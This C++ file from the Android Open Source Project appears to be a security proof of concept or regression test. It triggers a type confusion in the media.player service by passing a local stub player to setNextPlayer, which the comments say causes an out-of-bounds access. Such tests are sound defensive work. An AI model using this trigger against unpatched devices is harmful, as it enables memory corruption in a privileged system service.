1 /**
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <binder/IServiceManager.h>
18 #include <media/IMediaHTTPService.h>
19 #include <media/IMediaPlayer.h>
20 #include <media/IMediaPlayerService.h>
21 #include <media/VolumeShaper.h>
22 #include <media/mediaplayer.h>
23 
24 using namespace android;
25 using namespace android::media;
26 
27 class MyMediaPlayer : public BnInterface<IMediaPlayer> {
28  public:
29   status_t onTransact(uint32_t code, const Parcel &data, Parcel *reply,
30                       uint32_t flags = 0) {
31     return OK;
32   }
33   void disconnect() {}
34 
35   status_t setDataSource(const sp<IMediaHTTPService> &httpService,
36                          const char *url,
37                          const KeyedVector<String8, String8> *headers) {
38     return OK;
39   }
40 
41   status_t setDataSource(int fd, int64_t offset, int64_t length) { return OK; }
42 
43   status_t setDataSource(const sp<IStreamSource> &source) { return OK; }
44 
45   status_t setDataSource(const sp<IDataSource> &source) { return OK; }
46 
47   status_t setDataSource(const String8& rtpParams) { return OK; }
48 
49   status_t setVideoSurfaceTexture(
50       const sp<IGraphicBufferProducer> &bufferProducer) {
51     return OK;
52   }
53 
54   status_t getBufferingSettings(BufferingSettings *buffering) {
55     return OK;
56   }
57 
58   status_t setBufferingSettings(const BufferingSettings &buffering) {
59     return OK;
60   }
61 
62   status_t prepareAsync() { return OK; }
63 
64   status_t start() { return OK; }
65 
66   status_t stop() { return OK; }
67 
68   status_t pause() { return OK; }
69 
70   status_t isPlaying(bool *state) { return OK; }
71 
72   status_t setPlaybackSettings(const AudioPlaybackRate &rate) { return OK; }
73 
74   status_t getPlaybackSettings(AudioPlaybackRate *rate) { return OK; }
75 
76   status_t setSyncSettings(const AVSyncSettings &sync, float videoFpsHint) {
77     return OK;
78   }
79 
80   status_t getSyncSettings(AVSyncSettings *sync, float *videoFps) { return OK; }
81 
82   status_t seekTo(int msec, MediaPlayerSeekMode mode) { return OK; }
83 
84   status_t getCurrentPosition(int *msec) { return OK; }
85 
86   status_t getDuration(int *msec) { return OK; }
87 
88   status_t notifyAt(int64_t mediaTimeUs) { return OK; }
89 
90   status_t reset() { return OK; }
91 
92   status_t setAudioStreamType(audio_stream_type_t stream) { return OK; }
93 
94   status_t setLooping(int loop) { return OK; }
95 
96   status_t setVolume(float leftVolume, float rightVolume) { return OK; }
97 
98   status_t setAuxEffectSendLevel(float level) { return OK; }
99 
100   status_t attachAuxEffect(int effectId) { return OK; }
101 
102   status_t setParameter(int key, const Parcel &request) { return OK; }
103 
104   status_t getParameter(int key, Parcel *reply) { return OK; }
105 
106   status_t setRetransmitEndpoint(const struct sockaddr_in *endpoint) {
107     return OK;
108   }
109 
110   status_t getRetransmitEndpoint(struct sockaddr_in *endpoint) { return OK; }
111 
112   status_t setNextPlayer(const sp<IMediaPlayer> &player) { return OK; }
113 
114   VolumeShaper::Status applyVolumeShaper(
115       const sp<VolumeShaper::Configuration> &configuration,
116       const sp<VolumeShaper::Operation> &operation) {
117     return (VolumeShaper::Status)OK;
118   }
119   sp<VolumeShaper::State> getVolumeShaperState(int id) { return NULL; }
120 
121   status_t prepareDrm(const uint8_t uuid[16],
122                       const Vector<uint8_t> &drmSessionId) {
123     return OK;
124   }
125 
126   status_t releaseDrm() { return OK; }
127 
128   status_t invoke(const Parcel &request, Parcel *reply) { return OK; }
129 
130   status_t setMetadataFilter(const Parcel &request) { return OK; }
131 
132   status_t getMetadata(bool update_only, bool apply_filter, Parcel *reply) {
133     return OK;
134   }
135 
136   status_t setOutputDevice(audio_port_handle_t deviceId) { return OK; }
137 
138   status_t getRoutedDeviceId(audio_port_handle_t *deviceId) { return OK; }
139 
140   status_t enableAudioDeviceCallback(bool enabled) { return OK; }
141 };
142 
143 int main() {
144   sp<IBinder> binder =
145       defaultServiceManager()->getService(String16("media.player"));
146   sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
147   sp<IMediaPlayer> player = service->create(
148       new MediaPlayer(), (audio_session_t)AUDIO_SESSION_ALLOCATE);
149 
150   if (player == NULL) {
151     return EXIT_FAILURE;
152   }
153 
154   sp<IMediaPlayer> localPlayer = new MyMediaPlayer();
155   if (localPlayer == NULL) {
156     return EXIT_FAILURE;
157   }
158 
159   // set the data source to initialize mPlayer
160   player->setDataSource(NULL, "file:///test", NULL);
161 
162   // Set the next player to a local instance of BnMediaPlayer.
163   // The remote side will construct a BpMediaPlayer object, and then
164   // unsafely cast it to a MediaPlayerService::Client.
165   // This will an out-of-bounds access on class members.
166   player->setNextPlayer(localPlayer);
167 
168   return EXIT_SUCCESS;
169 }
170